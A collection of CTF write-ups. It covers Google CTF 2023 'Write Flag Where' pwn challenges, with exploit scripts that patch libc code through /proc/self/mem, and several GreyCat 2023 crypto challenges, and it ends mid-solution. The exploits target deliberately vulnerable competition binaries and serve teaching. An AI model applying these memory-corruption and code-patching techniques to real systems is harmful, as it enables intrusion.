    assert (a*lcg[i]+c)%m == lcg[i+1]

# taken from generate.py
class LCG:
    global m, a, c
    lcg_m = a
    lcg_c = c
    lcg_n = m

    def __init__(self, lcg_s):
        self.state = lcg_s

    def next(self):
        self.state = (self.state * self.lcg_m + self.lcg_c) % self.lcg_n
        return self.state

# Find prime value of specified bits a specified amount of times
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
lcg = LCG(seed)
primes_arr = []

dump = False
items = 0
#dump_file = open("dump.txt", "w")

primes_n = 1
while True:
    for i in range(8):
        while True:
            prime_candidate = lcg.next()
            if dump:
                dump_file.write(str(prime_candidate) + '\n')
                items += 1
                if items == 6:
                    dump = False
                    dump_file.close()
            if not isPrime(prime_candidate):
                continue
            elif prime_candidate.bit_length() != 512:
                continue
            else:
                primes_n *= prime_candidate
                primes_arr.append(prime_candidate)
                break

    # Check bit length
    if primes_n.bit_length() > 4096:
        print("bit length", primes_n.bit_length())
        primes_arr.clear()
        primes_n = 1
        continue
    else:
        break

# Create public key 'n'
n = 1
for j in primes_arr:
    n *= j
print("[+] Public Key: ", n)
print("[+] size: ", n.bit_length(), "bits")

# now decrypt the flag with p and q
print(primes_arr)
phi = 1
for k in primes_arr:
    phi *= (k - 1)

key = RSA.importKey(open("public.pem", "rb").read())
print(key.e, key.n)
print(key.n == n)
e = key.e

d = pow(e, -1, phi)

c = int.from_bytes(open("flag.txt", "rb").read(), "little")
print(c)

print(long_to_bytes(pow(c, d, n)))

Pwn

Write Flag Where - Overview

Part1:
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.

Part2:
Was that too easy? Let's make it tough
It's the challenge from before, but I've removed all the fluff

Part3:
Your skills are considerable, I'm sure you'll agree
But this final level's toughness fills me with glee
No writes to my binary, this I require
For otherwise I will surely expire

nc wfw[123].2023.ctfcompetition.com 1337
solves 294 / 155 / 43

From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.

The decompiled code from ghidra for part 3, with some modification to reflect each level:

int main(){
  local_c = open("/proc/self/maps",0);
  read(local_c,maps,0x1000);
  close(local_c);
  local_10 = open("./flag.txt",0);
  if (local_10 == -1) {
    puts("flag.txt not found");
  }
  else {
    sVar2 = read(local_10,flag,0x80);
    if (0 < sVar2) {
      close(local_10);
      local_14 = dup2(1,0x539);
      local_18 = open("/dev/null",2);
      dup2(local_18,0);
      dup2(local_18,1);
      dup2(local_18,2);
      close(local_18);
      alarm(0x3c);
      dprintf(local_14,
              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn ess fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"
             );
      dprintf(local_14,"%s\n\n",maps);
      while( true ) {
	// dprintf(local_14,"Give me an address and a length just so:\n \nAnd I\'ll write it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily expire\n"); // part 1
        local_78 = 0;
        local_70 = 0;
        local_68 = 0;
        local_60 = 0;
        local_58 = 0;
        local_50 = 0;
        local_48 = 0;
        local_40 = 0;
        sVar2 = read(local_14,&local_78,0x40);
        local_1c = (undefined4)sVar2;
        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
	// if (((iVar1 != 2) || (0x7f < local_2c))) // part 2
        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5000)))) // part 3
        break;
        local_20 = open("/proc/self/mem",2);
        lseek64(local_20,local_28,0);
        write(local_20,flag,(ulong)local_2c);
        close(local_20);
      }
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("flag.txt empty");
  }
  return 1;
}

Write Flag Where - Part 1

For part 1, there is a dprintf function call after the entrence to the while loop, so writing the flag to the string that are printed each loop can leak the flag.

CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}

from pwn import *

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw1.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def main():
    p = connect()
    p.recvuntil(b"shot.\n")
    s = p.recvline()
    elf.address = int(s.split(b'-')[0], 16)
    print(hex(elf.address))

    p.sendline(f"{hex(elf.address + 0x21e0)} 60")

    p.interactive()


if __name__ == "__main__":
    main()

Write Flag Where - Part 2

Part 2 proves to be trickier. In ghidra, the exit call stopped the decompiler from disassembling the code further, therefore missing a dprintf function call after the exit(0) call. Instead, I tried to leak the flag using the sscanf function with the string 0x%llx %u. The sscanf function call will attempt to match the input format string from the input string. In the original challenge, it’s trying to match the starting 0x before reading the hex numbers as input. For example, if we overwrite the format string to Cx%llx %u and send the input Cx0 0, the program will continue normally, but input Dx0 0 will exit immediately after. Therefore, we can overwrite that string, then attempt to read different strings, leaking the flag byte by byte. See solve2.py for implementation details.

CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}

#!/usr/bin/python3
from pwn import *
elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw2.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def attempt(cur_flag, ch):
    p = connect()
    p.recvuntil(b"fluff\n")
    elf.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(6):
        p.recvline()

    libc.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(11):
        p.recvline()

    stack_base = int(p.recvline().split(b'-')[0], 16)

    for i in range(5):
        p.recvline()

#    print(hex(elf.address), hex(libc.address), hex(stack_base))
    count = len(cur_flag)+1
    target_address = elf.address+0x20bc-(count-1)
    overwrite_str = hex(target_address)
    p.sendline(f"{overwrite_str} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"{ch}{overwrite_str[1:]} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"-{overwrite_str[1:]} {count}")

    try:
        p.recv(1, timeout=1)
    except Exception:
        p.close()
        return False
    p.close()
    return True

def main():
    context.log_level='critical'
    FLAG = "CTF{"
    for l in range(100):
        for c in "_"+string.printable[:-7]:
            print(FLAG+c)
            if attempt(FLAG, c):
                FLAG+=c
                break
        if FLAG[-1] == "}":
            break
    print(FLAG)


if __name__ == "__main__":
    main()

Write Flag Where - Part 3

Lastly for part 3, we can’t write into the main binary region, including the all the data sections. After looking through the functions in libc that are used, I found that the read function is the most likely function to be hijacked, since the arguments used to call the function is helpful.

Meanwhile, I also look for some useful instructions we can create using the flag prefix. I notice that 0x43 (‘C’) is a prefix in x86 assembly, and can be used to nop out instruction with minimal effects on most registers. Another interesting instruction is 0x7b (‘{‘), which is jnp. This allow use to jmp further down the program. The changes made to the read function is as follow:

Overwrite the second syscall to set rsi from rsp+0x43
Overwrite ja after second syscall to jnp to jump downward
Overwrite jump direction of the last jmp to jump to write function
Overwrite broken instructions with nop so it doesn’t segfault
Overwrite the first return in the read function to trigger the full exploit.

see libc_original.asm for the original libc function (disassembled from ghidra), and libc_changed.asm for the final state after all the writes, along with some comments to how the final payload achieved the target.

// ssize_t read(int __fd,void *__buf,size_t __nbytes)
        00214980 f3 0f 1e fa     ENDBR64
        00214984 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        0021498c 85 c0           TEST       EAX,EAX
        0021498e 75 10           JNZ        LAB_002149a0
        00214990 0f 05           SYSCALL
        00214992 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214998 77 56           JA         LAB_002149f0
        0021499a c3              RET
        0021499b 0f              ??         0Fh
        0021499c 1f              ??         1Fh
        0021499d 44              ??         44h    D
        0021499e 00              ??         00h
        0021499f 00              ??         00h
                             LAB_002149a0  
        002149a0 48 83 ec 28     SUB        RSP,0x28
        002149a4 48 89 54        MOV        qword ptr [RSP + local_10],__nbytes
                 24 18
        002149a9 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        002149ae 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        002149b2 e8 b9 c0        CALL       __pthread_enable_asynccancel 
                 f7 ff
        002149b7 48 8b 54        MOV        __nbytes,qword ptr [RSP + local_10]
                 24 18
        002149bc 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        002149c1 41 89 c0        MOV        R8D,EAX
        002149c4 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        002149c8 31 c0           XOR        EAX,EAX
        002149ca 0f 05           SYSCALL
        002149cc 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        002149d2 77 34           JA         LAB_00214a08
                             LAB_002149d4
        002149d4 44 89 c7        MOV        __fd,R8D
        002149d7 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        002149dc e8 ff c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        002149e1 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        002149e6 48 83 c4 28     ADD        RSP,0x28
        002149ea c3              RET
        002149eb 0f              ??         0Fh
        002149ec 1f              ??         1Fh
        002149ed 44              ??         44h    D
        002149ee 00              ??         00h
        002149ef 00              ??         00h
                             LAB_002149f0
        002149f0 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 19 44 10 00
        002149f7 f7 d8           NEG        EAX
        002149f9 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        002149fc 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a03 c3              RET
        00214a04 0f              ??         0Fh
        00214a05 1f              ??         1Fh
        00214a06 40              ??         40h    @
        00214a07 00              ??         00h
                             LAB_00214a08
        00214a08 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 01 44 10 00
        00214a0f f7 d8           NEG        EAX
        00214a11 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        00214a14 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a1b eb b7           JMP        LAB_002149d4
        00214a1d 0f              ??         0Fh
        00214a1e 1f              ??         1Fh
		
		
// ssize_t write(int __fd,void *__buf,size_t __n)
        00214a20 f3 0f 1e fa     ENDBR64
        00214a24 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        00214a2c 85 c0           TEST       EAX,EAX
        00214a2e 75 10           JNZ        LAB_00214a40
        00214a30 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a35 0f 05           SYSCALL
        00214a37 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a3d 77 51           JA         LAB_00214a90
        00214a3f c3              RET
                             LAB_00214a40      
        00214a40 48 83 ec 28     SUB        RSP,0x28
        00214a44 48 89 54        MOV        qword ptr [RSP + local_10],__n
                 24 18
        00214a49 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        00214a4e 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        00214a52 e8 19 c0        CALL       __pthread_enable_asynccancel  
                 f7 ff
        00214a57 48 8b 54        MOV        __n,qword ptr [RSP + local_10]
                 24 18
        00214a5c 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        00214a61 41 89 c0        MOV        R8D,EAX
        00214a64 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        00214a68 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a6d 0f 05           SYSCALL
        00214a6f 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a75 77 31           JA         LAB_00214aa8
                             LAB_00214a77    
        00214a77 44 89 c7        MOV        __fd,R8D
        00214a7a 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        00214a7f e8 5c c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        00214a84 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        00214a89 48 83 c4 28     ADD        RSP,0x28
        00214a8d c3              RET
        00214a8e 66              ??         66h    f
        00214a8f 90              ??         90h
                             LAB_00214a90       
        00214a90 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 79 43 10 00
        00214a97 f7 d8           NEG        EAX
        00214a99 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214a9c 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214aa3 c3              RET
        00214aa4 0f              ??         0Fh
        00214aa5 1f              ??         1Fh
        00214aa6 40              ??         40h    @
        00214aa7 00              ??         00h
                             LAB_00214aa8     
        00214aa8 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 61 43 10 00
        00214aaf f7 d8           NEG        EAX
        00214ab1 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214ab4 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214abb eb ba           JMP        LAB_00214a77
        00214abd 0f              ??         0Fh
        00214abe 1f              ??         1Fh
        00214abf 00              ??         00h

0x7fca9f372980 :     endbr64
0x7fca9f372984 :   mov    eax,DWORD PTR fs:0x18
0x7fca9f37298c :  test   eax,eax
0x7fca9f37298e :  jne    0x7fca9f3729a0 

// read payload so that rsp+0x43 = flag location
0x7fca9f372990 :  syscall 

0x7fca9f372992 :  cmp    rax,0xfffffffffffff000
0x7fca9f372998 :  ja     0x7fca9f3729f0 
//was ret, overwrite to start payload
0x7fca9f37299a :  rex.XB 
0x7fca9f37299b :  rex.XB //C
0x7fca9f37299c :  rex.XB //C
0x7fca9f37299d :  rex.XB //C
0x7fca9f37299e :  rex.XB //C
0x7fca9f37299f :  rex.XB //C
0x7fca9f3729a0 :  sub    rsp,0x28
0x7fca9f3729a4 :  mov    QWORD PTR [rsp+0x18],rdx
0x7fca9f3729a9 :  mov    QWORD PTR [rsp+0x10],rsi
0x7fca9f3729ae :  mov    DWORD PTR [rsp+0x8],edi
0x7fca9f3729b2 :  rex.XB //C
0x7fca9f3729b3 :  rex.XB //C
0x7fca9f3729b4 :  rex.XB //C
0x7fca9f3729b5 :  rex.XB //C
0x7fca9f3729b6 :  rex.XB //C
0x7fca9f3729b7 :  mov    rdx,QWORD PTR [rsp+0x18]

//C, load flag location into rsi
0x7fca9f3729bc :  mov    rsi,QWORD PTR [rsp+0x43] 

0x7fca9f3729c1 :  mov    r8d,eax
0x7fca9f3729c4 :  mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f3729c8 :  xor    eax,eax

// read CT, rax = 2, cmp gives no parity, jmp
0x7fca9f3729ca :  syscall 
0x7fca9f3729cc :  cmp    rax,0x7b465443 //CTF{ {
0x7fca9f3729d2 :  jnp    0x7fca9f372a08 

[...]
0x7fca9f372a08 : rex.XB //C
0x7fca9f372a09 : rex.XB //C
0x7fca9f372a0a : rex.XB //C
0x7fca9f372a0b : rex.XB //C
0x7fca9f372a0c : rex.XB //C
0x7fca9f372a0d : rex.XB //C
0x7fca9f372a0e : rex.XB neg r8d
0x7fca9f372a11 : mov    DWORD PTR fs:[rdx],eax
0x7fca9f372a14 : mov    rax,0xffffffffffffffff
0x7fca9f372a1b : jmp    0x7fca9f372a60  //C
[...]
0x7fca9f372a60 : rex.XB //C
0x7fca9f372a61 : mov    r8d,eax

// write 1337, flag, 0x40
0x7fca9f372a64 : mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f372a68 : mov    eax,0x1
0x7fca9f372a6d : syscall 
[...]

After overwriting the first return, I control the input to the read syscall to manipulate the content in rsp+0x43, and write the flag location there, so the write syscall will leak out the flag. To overcome the issue of no output, I add a sleep between each input to make sure the remove server have enough time to process each input. A better solution will be to pad each input to 0x40 bytes, then no delay will be needed. The solve script is in solve3.py.

CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

from pwn import *
import time

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]


def connect():
    if args.REMOTE:
        nc_str = "nc wfw3.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        os.system("ulimit -n 2048")
        p = process([elf.path], preexec_fn = lambda: os.dup2(0, 1337))
        if args.GDB:
           gdb_script = """
           b *main+638
           c 20
           """
           gdb.attach(p, gdb_script)

    return p


def main():
    p = connect()

    def write(addr, len):
        #p.stdout.write(f'0x{addr:x} {len}\n'.encode())
        p.sendline(f'0x{addr:x} {len}'.encode())

        time.sleep(0.5)

    libc_found = False
    elf_found = False
    while True:
        line = p.recvline().decode('ascii').strip()
        if 'chal' in line and not elf_found:
            elf_base = int(line.split()[0].split('-')[0], 16)
            elf_found = True

        if line.endswith('libc.so.6') and not libc_found:
            libc_base = int(line.split()[0].split('-')[0], 16)
            libc_found = True

        if line.endswith('[stack]'):
            stack_bottom = int(line.split()[0].split('-')[1], 16)
            break

    print(hex(elf_base))
    print(hex(libc_base))
    print(hex(stack_bottom))

    input_buf_offset = 5856

    for i in range(0x1149b2, 0x1149b7):
        write(libc_base + i, 1)

    for i in range(0x114a08, 0x114a0f):
        write(libc_base + i, 1)

    write(libc_base + 0x114a60, 1)

    write(libc_base + 0x1149cf, 4)
    write(libc_base + 0x1149ce, 4)

    write(libc_base + 0x114a1c, 1)
    write(libc_base + 0x1149c0, 1)

    write(libc_base + 0x11499f, 1)
    write(libc_base + 0x11499e, 1)
    write(libc_base + 0x11499d, 1)
    write(libc_base + 0x11499c, 1)
    write(libc_base + 0x11499b, 1)
    write(libc_base + 0x11499a, 1)
    p.send(("a"*0x13).encode()+p64(elf_base + 0x50a0))
    time.sleep(0.5)
    p.send(b"CT")

    p.interactive()


if __name__ == "__main__":
    main()

#CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

Greycat CTF Quals 2023 Writeup

2023-05-22T00:00:00+00:00

Overview

Last weekend, I participated in Grey Cat CTF Qual 2023 with b01lers. We ranked 22nd overall. I think the challenges are interesting and decided to post writeups on the challenges I solved. I solved 6 crypto and 1 pwn (with help from teammate) during the competition.

Challenge solved after the competition are marked as [*]

The Vault

Can you break into a double-encrypted vault?

- qvinhprolol

nc 34.124.157.94 10591
solves: 100/454

We are given chall.py.

from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from math import log10

FLAG = "grey{fake_flag}"

n = pow(10, 128)
def check_keys(a, b):
    if a % 10 == 0:
        return False

    # Check if pow(a, b) > n
    if b * log10(a) > 128:
        return True
    return False

def encryption(key, plaintext):
    iv = "Greyhats".encode()
    cipher = AES.new(key, AES.MODE_CTR, nonce = iv)
    return cipher.encrypt(plaintext)

print("Welcome back, NUS Dean. Please type in the authentication codes to open the vault! \n")

a = int(input("Enter the first code: "))
b = int(input("Enter the second code: "))

if not check_keys(a, b):
    print("Nice try thief! The security are on the way.")
    exit(0)

print("Performing thief checks...\n")
thief_check = get_random_bytes(16)

# Highly secure double encryption checking system. The thieves stand no chance!
x = pow(a, b, n)
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()

if thief_check == encryption(first_key, encryption(second_key, thief_check)):
    print("Vault is opened.")
    print(FLAG)
else:
    print("Stealing attempts detected! Initializing lockdown")

Since the encryption uses CTR with the same nonce, if we make first_key == second_key, the encryption will cancel out itself.

# Highly secure double encryption checking system. The thieves stand no chance!
x = pow(a, b, n)
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()

Observing how the two keys are generated. Therefore, we just need to find a and b that makes $x \equiv x^{10} \mod{n}$. Naturally, we would want to make x = 1.

One method is to simply make $a \equiv 1 \mod{n}$, since there is no bounding check on a, if we make a = n+1, and b sufficiently large, we can pass the keys check.

The other way is to utilize eular’s theorm, which states $x^{\phi({n})} \equiv 1 \mod(n)$. By setting $b = \phi({n})$ and supply a sufficiently large a, we can solve the challenge.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *
nc_str = "nc 34.124.157.94 10591"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))


p.sendline(str(10**128+1))
p.sendline(str(10))
p.interactive()
#grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}

Greycat Trial

In the sacred realm of GreyCat, amidst the swirling mists of arcane power, a momentous trial unfolds, seeking the one destined to bear the mantle of the next mighty GreyCat wizard.

- qvinhprolol

nc 34.124.157.94 10592 
solves: 63/454

from random import randint

FLAG = "grey{fake_flag}"

print("Lo and behold! The GreyCat Wizard, residing within the Green Tower of PrimeLand, is a wizard of unparalleled prowess")
print("The GreyCat wizard hath forged an oracle of equal potency")
print("The oracle hath the power to bestow upon thee any knowledge that exists in the world")
print("Gather the requisite elements to triumph over the three trials, noble wizard.")
print()

a = int(input("The first element: "))
b = int(input("The second element: "))
print()

all_seeing_number = 23456789

# FIRST TRIAL
if b <= 0:
    print("Verily, those who would cheat possess not the might of true wizards.")
    exit(0)

if pow(all_seeing_number, a - 1, a) != 1:
    print("Alas, thy weakness hath led to defeat in the very first trial.")
    exit(0)

# SECOND TRIAL
trial_numbers = [randint(0, 26) for i in range(26)]

for number in trial_numbers:
    c = a + b * number
    if pow(all_seeing_number, c - 1, c) != 1:
        print("Thou art not yet strong enough, and thus hast been vanquished in the second trial")
        exit(0)

# THIRD TRIAL
d = a + b * max(trial_numbers)
if (d.bit_length() < 55):
    print("Truly, thou art the paramount wizard. As a reward, we present thee with this boon:")
    print(FLAG)
else:
    print("Thou art nigh, but thy power falters still.")

Notice that the “trial” is a fermat primality test. While there exists some exceptions (Carmichael numbers), all we need to do is to find a long enough sequence of prime in arithmetic progression. A quick google search will lead to this wiki page, where there are a example with length of 21 included.

$5749146449311 + 26004868890n$

>>> [pow(23456789, 5749146449311 + 26004868890*i - 1, 5749146449311 + 26004868890*i) for i in range(26)]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 5969533133056, 1942548458790, 3086279453216, 1, 774068330828]

Now notice that in the trial, the trial numbers are randomly chosen, so we don’t need to perfectly pass every test. With the example from wikipedia, 22 out of 26 numbers will pass the primality test, which gives us a $({22}/{26})^{26} \approx 1.3\%$ chance of passing the trail every single time. With enough trys, the odd will stand in our favor. (On average 76 trys will be needed).

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *

for i in range(10000):
    print(i)
    nc_str = "nc 34.124.157.94 10592"
    _, host, port = nc_str.split(" ")
    p = remote(host, int(port))

    p.sendline(b"5749146449311")
    p.sendline(b"26004868890")

    s = p.recvall()
    if b"grey{" in s:
        print(s)
        break
#grey{Gr33N-tA0_The0ReM_w1z4rd}

OT

Oblivious Transfer is amazing :D

- mechfrog88

nc 34.124.157.94 10521 
solves: 41/454

import secrets
import hashlib
from Crypto.Util.number import isPrime, long_to_bytes

FLAG = b'grey{fake_flag}'

e = 0x10001

def checkN(N):
    if (N < 0):
        return "what?"
    if (N.bit_length() != 4096):
        return "N should be 4096 bits"
    if (isPrime(N) or isPrime(N + 23)):
        return "Hey no cheating"
    return None

def xor(a, b):
    return bytes([i ^ j for i,j in zip(a,b)])

def encrypt(key, msg):
    key = hashlib.shake_256(long_to_bytes(key)).digest(len(msg))
    return xor(key, msg)

print("This is my new Oblivious transfer protocol built on top of the crypto primitive (factorisation is hard)\n")
print("You should first generate a number h which you know the factorisation,\n")
print("If you wish to know the first part of the key, send me h")
print(f"If you wish to know the second part of the key, send me h - {23}\n")

N = int(input(("Now what's your number: ")))

check = checkN(N)
if check != None:
    print(check)
    exit(0)

k1, k2 = secrets.randbelow(N), secrets.randbelow(N)
k = k1 ^ k2

print("Now I send you these 2 numbers\n")
print(f"pow(k1, e, N) = {pow(k1, e, N)}")
print(f"pow(k2, e, N+23) = {pow(k2, e, N + 23)}\n")

print("Since you only know how to factorise one of them, you can only get one part of the data :D\n")
print("This protocol is secure so sending this should not have any problem")
print(f"flag = {encrypt(k, FLAG).hex()}")
print("Bye bye!")

Since we need to decode both rsa encryption, we’ll need to know the factorization of both N and N+23. However, the server checked to make sure that N and N+23 are both prime. In order to constuct such number, we can try to find a number k where we know the factorization of k, but k+1 is a prime, then N will be 23k and 23(k+1) respsectively.

The way I construct the number is by building up primes from 2, then bruteforce the last prime so that k+1 is a prime. With that, we have the factorization of both N and N+23. Simply by calculating the phi and decrypt the rsa in both cases, and decrypt the flag using the same function, we can recover the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.number import isPrime
from sage.all import *
import secrets
import hashlib
from Crypto.Util.number import isPrime, long_to_bytes

from pwn import *

# construct smooth prime
p1 = 2
a = 2
while int(p1*23).bit_length() < 4060:
    p1*= next_prime(a)
    a = next_prime(a)

print(a)
b = next_prime((1<<4095)// 23 // p1)
counter = 1
while not isPrime(p1*b+1) or int(23*p1*b).bit_length() < 4096:
    counter+=1
    if(counter%100000 == 0):
        print(counter)
        print(int(23*p1*b).bit_length())
    b = next_prime(b)

print(a)
k = 23*(p1*b)
print(a, b)
print(int(k).bit_length())

nc_str = "nc 34.124.157.94 10521"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.sendline(str(int(k)))

p.recvuntil(b"pow(k1, e, N) = ")
c1 = int(p.recvline())
p.recvuntil(b"pow(k2, e, N+23) =")
c2 = int(p.recvline())
p.recvuntil(b"flag = ")
flag = bytes.fromhex(p.recvline().strip().decode())

print(c1, c2)

# key 1 (N)
d1 = 1
for i in range(a):
    if isPrime(i):
        d1*=i-1
d1*=b-1
d1*=23
k1 = pow(c1, int(pow(65537, -1, int(d1))), k)

# key 2 (N+23)
d2 = (23-1)*(p1*b)
k2 = pow(c2, int(pow(65537, -1, int(d2))), k+23)

k = int(k1)^int(k2)

# since the encryption is just xor with the hash of the key, 
# it also served as a decryption function
def decrypt(key, msg):
    key = hashlib.shake_256(long_to_bytes(key)).digest(len(msg))
    return xor(key, msg)

print(decrypt(k, flag))
#grey{waitttt_I_thought_factorization_is_hard!!?_bSug9kksE3W9SrPL}

PLCG

Add some probability to spice up the game

- mechfrog88

nc 34.124.157.94 10531 
solves: 32/454

#!/usr/bin/python3
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import sys

FLAG = b'grey{fake_flag}'

while True:
    sample = [3, 80] + [secrets.randbelow(256) for _ in range(2)]
    if len(sample) == len(set(sample)) and 0 not in sample:
        break

sample = [3, 80, 128, 182]

def getBiasRandomByte():
    return secrets.choice(sample)

def getRandomByte():
    n = 0; g = 0
    for _ in range(20):
        n += getBiasRandomByte() * getBiasRandomByte()
    for _ in range(20):
        g = (g + getBiasRandomByte()) % 256
    for _ in range(n):
        g = (getBiasRandomByte() * g + getBiasRandomByte()) % 256
    return g

def encrypt(msg):
    key = bytes([getRandomByte() for _ in range(6)])
    cipher = AES.new(pad(key, 16), AES.MODE_CTR, nonce=b'\xc1\xc7\xcc\xd1D\xfbI\x10')
    return cipher.encrypt(msg)

print("Hello there, this is our lucky numbers")
print(" ".join(map(str,sample)))

s = int(input("Send us your lucky number! "))

if not (0 <= s <= 10):
    print("I dont like your number :(")
    exit(0)

for i in range(s):
    print("Here's your lucky flag:", encrypt(FLAG).hex())

In this challenge, the key used to encrypt the flag is generated from a custom-made prng generator. Notice that in the last step, if we get some $2^x$ number as the bias random byte, the previous result of g will be shifted upward, leaving very little randomness. To actually calculate the probablility of each value as the outcome given sample, we can model the transition between two steps using a markov chain.

Assuming that the markov chain converges to stable sufficently fast, I simply apply the transformation matrix on a uniform distribution to see how skewed the output will be given the sample set. I them connect to the server multiple times until a set skewed enough is retrieved. After that, by bruteforcing the possible keys and attempting to decrypt the text gives us the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *
from sage.all import *

while True:
    try:
        p = remote("34.124.157.94", 10531)
        p.recvline()
        lucky = list(map(int, p.recvline().split(b" ")))
        print(lucky)
        sample = lucky
        # markov chain
        valid_output = [[(i*j+k)%256 for j in sample for k in sample] for i in range(256)]
        transition = matrix(QQ, [[valid_output[i].count(j) for j in range(256)] for i in range(256)]).transpose()/16
        initial = vector(QQ, [1 for i in range(256)])/256
        dist = (transition**100) * initial


        if min(dist) < 1e-5:
            break
        p.close()
    except Exception:
        pass

p.recvuntil(b"! ")
p.sendline(b"10")
for i in range(10):
    print(p.recvline())

p.interactive()

#!/usr/bin/python3
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all import *
import sys

FLAG = b'grey{fake_flag}'

sample = [3, 80, 64, 240]

# markov chain
valid_output = [[(i*j+k)%256 for j in sample for k in sample] for i in range(256)]
transition = matrix(QQ, [[valid_output[i].count(j) for j in range(256)] for i in range(256)]).transpose()/16
initial = vector(QQ, [1 for i in range(256)])/256
dist = (transition**100) * initial

print(dist)
valid_output = []
for i in range(256):
    count = int(dist[i]*1000)
    valid_output += [i for j in range(count)]
print(min(dist))

#[3, 80, 64, 240], taken from brute.sage
res = """
Here's your lucky flag: 5558e88faadbe697d50f09ccd98c1043af0bf8a9e20f5de60dcd5dff0b79ebe9c94ff43c90f24ae2bf5ea060ed3d0ad96b3309e2e06e1a20
